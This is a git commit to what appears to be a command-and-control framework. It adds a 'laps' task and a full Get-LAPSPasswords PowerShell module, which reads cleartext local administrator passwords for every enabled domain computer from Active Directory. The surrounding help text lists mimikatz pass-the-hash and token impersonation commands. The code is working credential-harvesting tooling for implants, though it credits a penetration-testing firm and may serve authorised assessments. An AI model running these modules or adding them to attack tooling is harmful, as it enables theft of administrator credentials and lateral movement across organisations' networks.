Add Get-LAPSPasswords
parent
db30db9705
commit
5ddb0bc612
|
@ -133,4 +133,5 @@ def run_autoloads(command, randomuri):
|
||||||
if "invoke-wmievent" in command.lower(): check_module_loaded("Invoke-WMIEvent.ps1", randomuri)
|
if "invoke-wmievent" in command.lower(): check_module_loaded("Invoke-WMIEvent.ps1", randomuri)
|
||||||
if "remove-wmievent" in command.lower(): check_module_loaded("Invoke-WMIEvent.ps1", randomuri)
|
if "remove-wmievent" in command.lower(): check_module_loaded("Invoke-WMIEvent.ps1", randomuri)
|
||||||
if "invoke-wmi" in command.lower(): check_module_loaded("Invoke-WMIExec.ps1", randomuri)
|
if "invoke-wmi" in command.lower(): check_module_loaded("Invoke-WMIExec.ps1", randomuri)
|
||||||
|
if "get-lapspasswords" in command.lower(): check_module_loaded("Get-LAPSPasswords.ps1", randomuri)
|
||||||
|
|
1
Help.py
1
Help.py
|
@ -217,6 +217,7 @@ invoke-mimikatz -command '"sekurlsa::pth /user:<user> /domain:<dom> /ntlm:<hash>
|
||||||
invoke-mimikatz -computer 10.0.0.1 -command '"sekurlsa::pth /user:<user> /domain:<dom> /ntlm:<hash> /run:c:\\temp\\run.bat"'
|
invoke-mimikatz -computer 10.0.0.1 -command '"sekurlsa::pth /user:<user> /domain:<dom> /ntlm:<hash> /run:c:\\temp\\run.bat"'
|
||||||
invoke-tokenmanipulation | select-object domain, username, processid, iselevated, tokentype | ft -autosize | out-string
|
invoke-tokenmanipulation | select-object domain, username, processid, iselevated, tokentype | ft -autosize | out-string
|
||||||
invoke-tokenmanipulation -impersonateuser -username "domain\\user"
|
invoke-tokenmanipulation -impersonateuser -username "domain\\user"
|
||||||
|
get-lapspasswords
|
||||||
|
|
||||||
Credentials / Domain Controller Hashes:
|
Credentials / Domain Controller Hashes:
|
||||||
============================================
|
============================================
|
||||||
|
|
|
@ -842,6 +842,10 @@ def runcommand(command, randomuri):
|
||||||
check_module_loaded("Invoke-Mimikatz.ps1", randomuri)
|
check_module_loaded("Invoke-Mimikatz.ps1", randomuri)
|
||||||
new_task("Invoke-Mimikatz -Command '\"lsadump::sam\"'", randomuri)
|
new_task("Invoke-Mimikatz -Command '\"lsadump::sam\"'", randomuri)
|
||||||
|
|
||||||
|
elif (command.lower() == "laps"):
|
||||||
|
check_module_loaded("Get-LAPSPasswords.ps1", randomuri)
|
||||||
|
new_task("Get-LAPSPasswords", randomuri)
|
||||||
|
|
||||||
elif (command.lower() == "sharpsocks") or (command.lower() == "sharpsocks "):
|
elif (command.lower() == "sharpsocks") or (command.lower() == "sharpsocks "):
|
||||||
check_module_loaded("SharpSocks.ps1", randomuri)
|
check_module_loaded("SharpSocks.ps1", randomuri)
|
||||||
import string
|
import string
|
||||||
|
|
|
@ -0,0 +1,147 @@
|
||||||
|
function Get-LAPSPasswords
|
||||||
|
{
|
||||||
|
<#
|
||||||
|
.Synopsis
|
||||||
|
This module will query Active Directory for the hostname, LAPS (local administrator) stored password,
|
||||||
|
and password expiration for each computer account.
|
||||||
|
.DESCRIPTION
|
||||||
|
This module will query Active Directory for the hostname, LAPS (local administrator) stored password,
|
||||||
|
and password expiration for each computer account. The script filters out disabled domain computers.
|
||||||
|
LAPS password storage can be identified by querying the (domain user available) ms-MCS-AdmPwdExpirationTime
|
||||||
|
attribute. If the attribute (timestamp) exists, LAPS is in use for local administrator passwords. Access to
|
||||||
|
ms-MCS-AdmPwd attribute should be restricted to privileged accounts. Also, since the script uses data tables
|
||||||
|
to output affected systems the results can be easily piped to other commands such as test-connection or a Export-Csv.
|
||||||
|
.EXAMPLE
|
||||||
|
The example below shows the standard command usage. Disabled system are excluded by default. If your user doesn't
|
||||||
|
have the rights to read the password, then it will show 0 for Readable.
|
||||||
|
PS C:\> Get-LAPSPasswords -DomainController 192.168.1.1 -Credential demo.com\administrator | Format-Table -AutoSize
|
||||||
|
|
||||||
|
Hostname Stored Readable Password Expiration
|
||||||
|
-------- ------ -------- -------- ----------
|
||||||
|
WIN-M8V16OTGIIN.test.domain 0 0 NA
|
||||||
|
WIN-M8V16OTGIIN.test.domain 0 0 NA
|
||||||
|
ASSESS-WIN7-TES.test.domain 1 1 $sl+xbZz2&qtDr 6/3/2015 7:09:28 PM
|
||||||
|
.EXAMPLE
|
||||||
|
The example below shows how to write the output to a csv file.
|
||||||
|
PS C:\> Get-LAPSPasswords -DomainController 192.168.1.1 -Credential demo.com\administrator | Export-Csv c:\temp\output.csv -NoTypeInformation
|
||||||
|
.LINK
|
||||||
|
https://blog.netspi.com/running-laps-around-cleartext-passwords/
|
||||||
|
https://github.com/kfosaaen/Get-LAPSPasswords
|
||||||
|
https://technet.microsoft.com/en-us/library/security/3062591
|
||||||
|
|
||||||
|
.NOTES
|
||||||
|
Author: Karl Fosaaen - 2015, NetSPI
|
||||||
|
Version: Get-LAPSPasswords.psm1 v1.0
|
||||||
|
Comments: The technique used to query LDAP was based on the "Get-AuditDSComputerAccount"
|
||||||
|
function found in Carlos Perez's PoshSec-Mod project. The general idea is based off of
|
||||||
|
a Twitter conversation with @_wald0. The bones of this were borrowed (with permission) from
|
||||||
|
Scott Sutherland's Get-ExploitableSystems function.
|
||||||
|
|
||||||
|
#>
|
||||||
|
[CmdletBinding()]
|
||||||
|
Param(
|
||||||
|
[Parameter(Mandatory=$false,
|
||||||
|
HelpMessage="Credentials to use when connecting to a Domain Controller.")]
|
||||||
|
[System.Management.Automation.PSCredential]
|
||||||
|
[System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,
|
||||||
|
|
||||||
|
[Parameter(Mandatory=$false,
|
||||||
|
HelpMessage="Domain controller for Domain and Site that you want to query against.")]
|
||||||
|
[string]$DomainController,
|
||||||
|
|
||||||
|
[Parameter(Mandatory=$false,
|
||||||
|
HelpMessage="Maximum number of Objects to pull from AD, limit is 1,000.")]
|
||||||
|
[int]$Limit = 1000,
|
||||||
|
|
||||||
|
[Parameter(Mandatory=$false,
|
||||||
|
HelpMessage="scope of a search as either a base, one-level, or subtree search, default is subtree.")]
|
||||||
|
[ValidateSet("Subtree","OneLevel","Base")]
|
||||||
|
[string]$SearchScope = "Subtree",
|
||||||
|
|
||||||
|
[Parameter(Mandatory=$false,
|
||||||
|
HelpMessage="Distinguished Name Path to limit search to.")]
|
||||||
|
|
||||||
|
[string]$SearchDN
|
||||||
|
)
|
||||||
|
Begin
|
||||||
|
{
|
||||||
|
if ($DomainController -and $Credential.GetNetworkCredential().Password)
|
||||||
|
{
|
||||||
|
$objDomain = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$($DomainController)", $Credential.UserName,$Credential.GetNetworkCredential().Password
|
||||||
|
$objSearcher = New-Object System.DirectoryServices.DirectorySearcher $objDomain
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
$objDomain = [ADSI]""
|
||||||
|
$objSearcher = New-Object System.DirectoryServices.DirectorySearcher $objDomain
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Process
|
||||||
|
{
|
||||||
|
# Status user
|
||||||
|
Write-Verbose "[*] Grabbing computer accounts from Active Directory..."
|
||||||
|
|
||||||
|
# Create data table for hostnames, and passwords from LDAP
|
||||||
|
$TableAdsComputers = New-Object System.Data.DataTable
|
||||||
|
$TableAdsComputers.Columns.Add('Hostname') | Out-Null
|
||||||
|
$TableAdsComputers.Columns.Add('Stored') | Out-Null
|
||||||
|
$TableAdsComputers.Columns.Add('Readable') | Out-Null
|
||||||
|
$TableAdsComputers.Columns.Add('Password') | Out-Null
|
||||||
|
$TableAdsComputers.Columns.Add('Expiration') | Out-Null
|
||||||
|
|
||||||
|
# ----------------------------------------------------------------
|
||||||
|
# Grab computer account information from Active Directory via LDAP
|
||||||
|
# ----------------------------------------------------------------
|
||||||
|
$CompFilter = "(&(objectCategory=Computer))"
|
||||||
|
$ObjSearcher.PageSize = $Limit
|
||||||
|
$ObjSearcher.Filter = $CompFilter
|
||||||
|
$ObjSearcher.SearchScope = "Subtree"
|
||||||
|
|
||||||
|
if ($SearchDN)
|
||||||
|
{
|
||||||
|
$objSearcher.SearchDN = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$($SearchDN)")
|
||||||
|
}
|
||||||
|
|
||||||
|
$ObjSearcher.FindAll() | ForEach-Object {
|
||||||
|
|
||||||
|
# Setup fields
|
||||||
|
$CurrentHost = $($_.properties['dnshostname'])
|
||||||
|
$CurrentUac = $($_.properties['useraccountcontrol'])
|
||||||
|
$CurrentPassword = $($_.properties['ms-MCS-AdmPwd'])
|
||||||
|
if ($_.properties['ms-MCS-AdmPwdExpirationTime'] -ge 0){$CurrentExpiration = $([datetime]::FromFileTime([convert]::ToInt64($_.properties['ms-MCS-AdmPwdExpirationTime'],10)))}
|
||||||
|
else{$CurrentExpiration = "NA"}
|
||||||
|
|
||||||
|
$PasswordAvailable = 0
|
||||||
|
$PasswordStored = 1
|
||||||
|
|
||||||
|
# Convert useraccountcontrol to binary so flags can be checked
|
||||||
|
# http://support.microsoft.com/en-us/kb/305144
|
||||||
|
# http://blogs.technet.com/b/askpfeplat/archive/2014/01/15/understanding-the-useraccountcontrol-attribute-in-active-directory.aspx
|
||||||
|
$CurrentUacBin = [convert]::ToString($CurrentUac,2)
|
||||||
|
|
||||||
|
# Check the 2nd to last value to determine if its disabled
|
||||||
|
$DisableOffset = $CurrentUacBin.Length - 2
|
||||||
|
$CurrentDisabled = $CurrentUacBin.Substring($DisableOffset,1)
|
||||||
|
|
||||||
|
# Set flag if stored password is not available
|
||||||
|
if ($CurrentExpiration -eq "NA"){$PasswordStored = 0}
|
||||||
|
|
||||||
|
|
||||||
|
if ($CurrentPassword.length -ge 1){$PasswordAvailable = 1}
|
||||||
|
|
||||||
|
|
||||||
|
# Add computer to list if it's enabled
|
||||||
|
if ($CurrentDisabled -eq 0){
|
||||||
|
# Add domain computer to data table
|
||||||
|
$TableAdsComputers.Rows.Add($CurrentHost,$PasswordStored,$PasswordAvailable,$CurrentPassword, $CurrentExpiration) | Out-Null
|
||||||
|
}
|
||||||
|
|
||||||
|
# Display results
|
||||||
|
$TableAdsComputers | Sort-Object {$_.Hostname} -Descending
|
||||||
|
}
|
||||||
|
}
|
||||||
|
End
|
||||||
|
{
|
||||||
|
}
|
||||||
|
}
|
Loading…
Reference in New Issue